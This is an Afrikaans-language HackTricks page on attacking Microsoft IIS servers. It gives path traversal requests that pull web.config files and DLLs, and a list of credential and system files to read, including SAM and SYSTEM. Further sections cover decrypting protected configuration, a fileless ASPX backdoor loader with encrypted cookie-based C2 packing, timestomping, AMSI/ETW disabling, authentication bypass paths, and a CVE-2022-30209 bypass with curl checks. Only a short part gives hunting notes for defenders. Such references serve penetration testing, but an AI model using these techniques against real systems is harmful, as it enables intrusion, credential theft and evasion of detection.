IIS - Internet Information Services
Reading time: 16 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Toets uitvoerbare lĂȘeruitbreidings:
- asp
- aspx
- config
- php
Interne IP-adres blootstelling
Op enige IIS-bediener waar jy 'n 302 kry, kan jy probeer om die Host header te verwyder en HTTP/1.0 te gebruik; binne die response kan die Location header na die interne IP-adres wys:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Respons wat die interne IP openbaar:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Execute .config files
You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: Download example here
More information and techniques to exploit this vulnerability here
IIS Discovery Bruteforce
Laai die lys af wat ek geskep het:
Dit is geskep deur die inhoud van die volgende lyste te kombineer:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Gebruik dit sonder om enige lĂȘeruitbreiding by te voeg; die lĂȘers wat dit benodig het dit reeds.
Path Traversal
Leaking source code
Kyk na die volledige uiteensetting by: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
tip
In opsomming, is daar verskeie web.config-lĂȘers binne die vouers van die toepassing met verwysings na "assemblyIdentity" files en "namespaces". Met hierdie inligting is dit moontlik om te bepaal where are executables located en dit af te laai.
Vanaf die downloaded Dlls is dit ook moontlik om new namespaces te vind waaroor jy moet probeer toegang kry en die web.config-lĂȘer bekom om nuwe namespaces en assemblyIdentity te vind.
Ook kan die lĂȘers connectionstrings.config en global.asax interessante inligting bevat.
In .Net MVC applications, die web.config file speel 'n kritieke rol deur elke binĂȘre lĂȘer waarop die toepassing staatmaak te spesifiseer deur middel van "assemblyIdentity" XML tags.
Exploring Binary Files
An example of accessing the web.config file is shown below:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Hierdie versoek openbaar verskeie instellings en afhanklikhede, soos:
- EntityFramework weergawe
- AppSettings vir webbladsye, kliëntvalidasie en JavaScript
- System.web konfigurasies vir verifikasie en Runtime
- System.webServer module-instellings
- Runtime assembly bindings vir verskeie biblioteke soos Microsoft.Owin, Newtonsoft.Json, en System.Web.Mvc
Diese instellings dui daarop dat sekere lĂȘers, soos /bin/WebGrease.dll, in die toepassing se /bin folder geleĂ« is.
LĂȘers in die wortelgids
LĂȘers wat in die wortelgids gevind word, soos /global.asax en /connectionstrings.config (wat sensitiewe wagwoorde bevat), is noodsaaklik vir die toepassing se konfigurasie en werking.
Naamruimtes en Web.Config
MVC-toepassings definieer ook addisionele web.config files vir spesifieke naamruimtes om herhalende verklarings in elke lĂȘer te vermy, soos gedemonstreer met 'n versoek om nog 'n web.config af te laai:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Aflaai van DLLs
Die vermelding van 'n pasgemaakte namespace dui op 'n DLL met die naam "WebApplication1" wat in die /bin-gids teenwoordig is. Daarna word 'n versoek getoon om die WebApplication1.dll af te laai:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Dit dui op die teenwoordigheid van ander noodsaaklike DLLs, soos System.Web.Mvc.dll en System.Web.Optimization.dll, in die /bin-gids.
In ân scenario waar ân DLL ân naamruimte invoer genaamd WebApplication1.Areas.Minded, kan ân aanvaller die bestaan van ander web.config-lĂȘers in voorspelbare paaie, soos /area-name/Views/, aflei, wat spesifieke konfigurasies en verwysings na ander DLLs in die /bin-gids bevat. Byvoorbeeld, ân versoek na /Minded/Views/web.config kan konfigurasies en naamruimtes openbaar wat die teenwoordigheid van nog ân DLL, WebApplication1.AdditionalFeatures.dll, aandui.
Algemene lĂȘers
Van hier
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Fout
If you see an error like the following one:
Dit beteken dat die bediener nie die korrekte domeinnaam ontvang het in die Host header.
Om toegang tot die webblad te kry kan jy kyk na die bediende SSL Certificate en dalk vind jy die domein/subdomein daar. As dit nie daar is nie, moet jy dalk brute force VHosts totdat jy die korrekte een vind.
Ontsleutel versleutelde konfigurasie en ASP.NET Core Data Protection key rings
Twee algemene patrone om geheime op IIS-hosted .NET apps te beskerm is:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) vir web.config afdelings soos
. - ASP.NET Core Data Protection key ring (lokaal gestoor) gebruik om toepassing-sekrete en cookies te beskerm.
As jy lĂȘerstelsel- of interaktiewe toegang op die webbediener het, maak saamgeplaasde sleutels dikwels ontsleuteling moontlik.
- ASP.NET (Full Framework) â ontsleutel beskermde config-afdelings met aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
- ASP.NET Core â kyk vir Data Protection key rings wat plaaslik gestoor is (XML/JSON files) onder plekke soos:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Met die key ring beskikbaar kan 'n operator wat in die app se identiteit werk 'n IDataProtector instansie skep met dieselfde purposes en gestoorÂde geheime unprotect. Misconfigurasies wat die key ring saam met die app-lĂȘers stoor maak offline decryption eenvoudig sodra die host gekompromitteer is.
IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
Die Phantom Taurus/NET-STAR toolkit toon 'n volwasse patroon vir fileless IIS persistence en postâexploitation heeltemal binne w3wp.exe. Die kernideeĂ« is breedweg herbruikbaar vir aangepaste tradecraft en vir detection/hunting.
Belangrike boustene
- ASPX bootstrapper hosting an embedded payload: 'n enkele .aspx bladsy (e.g., OutlookEN.aspx) dra 'n Base64âencoded, opsioneel Gzipâcompressed .NET DLL. By 'n trigger request decodeer, dekomprimeer en load dit reflectively in die huidige AppDomain en roep die hoof entry point aan (e.g., ServerRun.Run()).
- Cookieâscoped, encrypted C2 with multiâstage packing: tasks/results word toegedraai met Gzip â AESâECB/PKCS7 â Base64 en verskuif via skynbaar geldige cookieâryke requests; operators het stabiele delimiters (e.g., "STAR") vir chunking gebruik.
- Reflective .NET execution: aanvaar arbitrĂȘre managed assemblies as Base64, laad via Assembly.Load(byte[]) en gee operator args vir vinnige module swaps sonder om die disk aan te raak.
- Operating in precompiled ASP.NET sites: voeg/beheer hulpâshells/backdoors selfs wanneer die site precompiled is (e.g., dropper voeg dynamic pages/handlers by of benut config handlers) â blootgestel deur opdragte soos bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: bied 'n changeLastModified action en timestomp by ontplooiing (insluitend toekomstige compilation timestamps) om DFIR te bemoeilik.
- Optional AMSI/ETW preâdisable for loaders: 'n tweedeâfase loader kan AMSI en ETW deaktiveer voordat dit Assembly.Load aanroep om inspeksie van inâmemory payloads te verminder.
Minimal ASPX loader pattern
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hardâcoded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
Verpakking/crypto-hulpmiddels (Gzip + AESâECB + Base64)
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize â gzip â AESâECB â Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
Cookie/session-vloei en command-oppervlak
- Session-bootstrap en taakopdragte word via cookies gedra om by normale web-aktiwiteit in te meng.
- Opdragte wat in die veld waargeneem is, sluit in: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; en dinamiese uitvoeringsprimitiewe code_self, code_pid, run_code vir inâmemory .NET-uitvoering.
Timestomping hulpmiddel
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
Inlyn AMSI/ETW uitskakeling voor Assembly.Load (loader variant)
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
Hunting notes (verdedigers)
- Enkele, vreemde ASPX-bladsy met baie lang Base64/Gzip blobs; cookieâryke poste.
- Onondersteunde managed modules binne w3wp.exe; strings soos Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Herhaalde afbakeners soos "STAR" in verkeer; wanpassende of selfs toekomstige tydstempels op ASPX/assemblies.
Ou IIS-kwesbaarhede wat die moeite werd is om te soek
Microsoft IIS tilde character â~â Vulnerability/Feature â Short File/Folder Name Disclosure
Jy kan probeer om enumerate folders and files binne elke gevonde gids (selfs as dit Basic Authentication vereis) deur hierdie technique te gebruik.
Die hoofbeperking van hierdie technique as die bediener kwesbaar is, is dat dit slegs die eerste 6 letters van die naam van elke file/folder en die eerste 3 letters van die uitbreiding van die files kan vind.
Jy kan https://github.com/irsdl/IIS-ShortName-Scanner gebruik om vir hierdie kwetsbaarheid te toets:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Oorspronklike navorsing: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Jy kan ook metasploit gebruik: use scanner/http/iis_shortname_scanner
ân goeie idee om die finale naam van die ontdekte files te vind is om ask LLMs vir opsies, soos in die script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py
Basic Authentication bypass
Bypass a basic authentication (IIS 7.5) trying to access: /admin:$i30:$INDEX_ALLOCATION/admin.php
or /admin::$INDEX_ALLOCATION/admin.php
Jy kan probeer om hierdie vulnerability en die laaste een te mix om nuwe folders te vind en die authentication te bypass.
ASP.NET Trace.AXD ingeskakelde debugging
ASP.NET sluit 'n debugging-modus in en die lĂȘer heet trace.axd
.
Dit hou 'n baie gedetailleerde log van alle versoeke aan 'n toepassing oor 'n tydperk.
Hierdie inligting sluit in remote client IP's, session IDs, alle request en response cookies, fisiese paths, source code inligting, en potensieel selfs gebruikersname en passewoorde.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
ASPXAUTH Cookie
ASPXAUTH gebruik die volgende inligting:
validationKey
(string): hex-encoded key to use for signature validation.decryptionMethod
(string): (default âAESâ).decryptionIV
(string): hex-encoded initialization vector (defaults to a vector of zeros).decryptionKey
(string): hex-encoded key to use for decryption.
Ongelukkig sal sommige mense die default values van hierdie parameters gebruik en as cookie die e-pos van die gebruiker instel. Daarom, as jy 'n webwerf vind wat die same platform gebruik en die ASPXAUTH cookie gebruik, en jy create a user with the email of the user you want to impersonate op die teiken-bediener, mag jy die cookie from the second server in the first one gebruik en die gebruiker impersonate.
Hierdie aanval het gewerk in hierdie writeup.
IIS Authentication Bypass with cached passwords (CVE-2022-30209)
Full report here: 'n fout in die kode het nie behoorlik die password geverifieer wat deur die gebruiker gegee is nie, so 'n aanvaller wie se password hash 'n sleutel tref wat reeds in die cache is, sal as daardie gebruiker kan aanmeld .
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
Verwysings
- Unit 42 â Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite
- AMSI/ETW bypass background (HackTricks)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.